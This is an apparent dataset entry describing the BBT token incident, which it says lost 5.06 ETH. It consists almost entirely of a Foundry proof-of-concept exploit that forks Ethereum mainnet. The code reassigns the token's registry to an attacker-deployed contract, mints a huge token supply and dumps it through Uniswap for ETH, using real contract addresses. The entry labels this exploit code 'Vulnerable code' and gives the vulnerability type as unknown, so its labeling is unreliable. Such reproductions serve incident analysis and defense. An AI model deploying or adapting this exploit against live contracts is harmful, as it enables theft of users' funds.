HIGH severity: BBT exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo -- Total Lost : 5.06 ETH TX : https://app.blocksec.com/explorer/tx/eth/0x4019890fe5a5bd527cd3b9f7ee6d94e55b331709b703317860d028745e33a8ca?line=4 Attacker : https://etherscan.io/address/0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54 Attack Contract : https://e

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : 5.06 ETH
// TX : https://app.blocksec.com/explorer/tx/eth/0x4019890fe5a5bd527cd3b9f7ee6d94e55b331709b703317860d028745e33a8ca?line=4
// Attacker : https://etherscan.io/address/0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54
// Attack Contract : https://etherscan.io/address/0xf5610cf8c27454b6d7c86fccf1830734501425c5
// GUY : https://x.com/8olidity/status/1767470002566058088
interface BBtoken is IERC20 {
    function setRegistry(
        address _registry
    ) external;
    function mint(address _user, uint256 _amount) external;
}

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    BBtoken BBT = BBtoken(0x3541499cda8CA51B24724Bb8e7Ce569727406E04);
    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address attacker;

    function setUp() external {
        // vm.createSelectFork("mainnet", 19417822);
        cheats.createSelectFork("mainnet", 19_417_822); //fork mainnet at block 13715025
    }

    function testExploit() external {
        address attacker = cal_address(0);
        emit log_named_decimal_uint("[Begin] Attacker ETH before exploit", address(attacker).balance, 18);
        attack();
        emit log_named_decimal_uint("[End] Attacker ETH after exploit", address(attacker).balance, 18);
    }

    function attack() public {
        create_contract(0);
    }

    function cal_address(
        uint256 time
    ) internal returns (address) {
        bytes memory bytecode = type(Money).creationCode;
        uint256 _salt = time;
        bytecode = abi.encodePacked(bytecode);
        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
        address hack_contract = address(uint160(uint256(hash)));
        return hack_contract;
    }

    function create_contract(
        uint256 times
    ) internal returns (address) {
        bytes memory bytecode = type(Money).creationCode;
        uint256 _salt = times;
        bytecode = abi.encodePacked(bytecode);
        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
        address hack_contract = address(uint160(uint256(hash)));
        address addr;
        assembly {
            addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
        }
        return hack_contract;
    }
}

contract Money is Test {
    BBtoken BBT = BBtoken(0x3541499cda8CA51B24724Bb8e7Ce569727406E04);
    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 BLM = IERC20(0xEa0abF7AB2F8f8435e7Dc4932FFaB37761267843);
    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    uint256 constant PRECISION = 10 ** 18;
    address owner;
    address xx;

    constructor() {
        owner = msg.sender;
        attack();
    }

    function attack() public {
        xx = create_contract(1);
        BBT.setRegistry(xx);
        BBT.mint(address(this), 10_000_000_000_000_000_000 ether);
        BBT.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(BBT);
        path[1] = address(WETH);
        Router.swapExactTokensForETH(1_000_000_000_000_000_000_000_000_000_000, 0, path, address(this), block.timestamp);
        address[] memory paths = new address[](4);
        paths[0] = address(BBT);
        paths[1] = address(BLM);
        paths[2] = address(USDC);
        paths[3] = address(WETH);
        Router.swapExactTokensForETH(
            1_000_000_000_000_000_000_000_000_000_000, 0, paths, address(this), block.timestamp
        );
    }

    function create_contract(
        uint256 times
    ) internal returns (address) {
        bytes memory bytecode = type(Moneys).creationCode;
        uint256 _salt = times;
        bytecode = abi.encodePacked(bytecode);
        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
        address hack_contract = address(uint160(uint256(hash)));
        address addr;
        assembly {
            addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
        }
        return hack_contract;
    }

    fallback() external payable {}
}

contract Moneys is Test {
    BBtoken BBT = BBtoken(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);
    uint256 constant PRECISION = 10 ** 18;
    address owner;
    address xx;

    constructor() {
        owner = msg.sender;
    }

    function getContractAddress(
        string memory _name
    ) public returns (address) {
        return owner;
    }

    fallback() external payable {}
}


Vulnerability type: unknown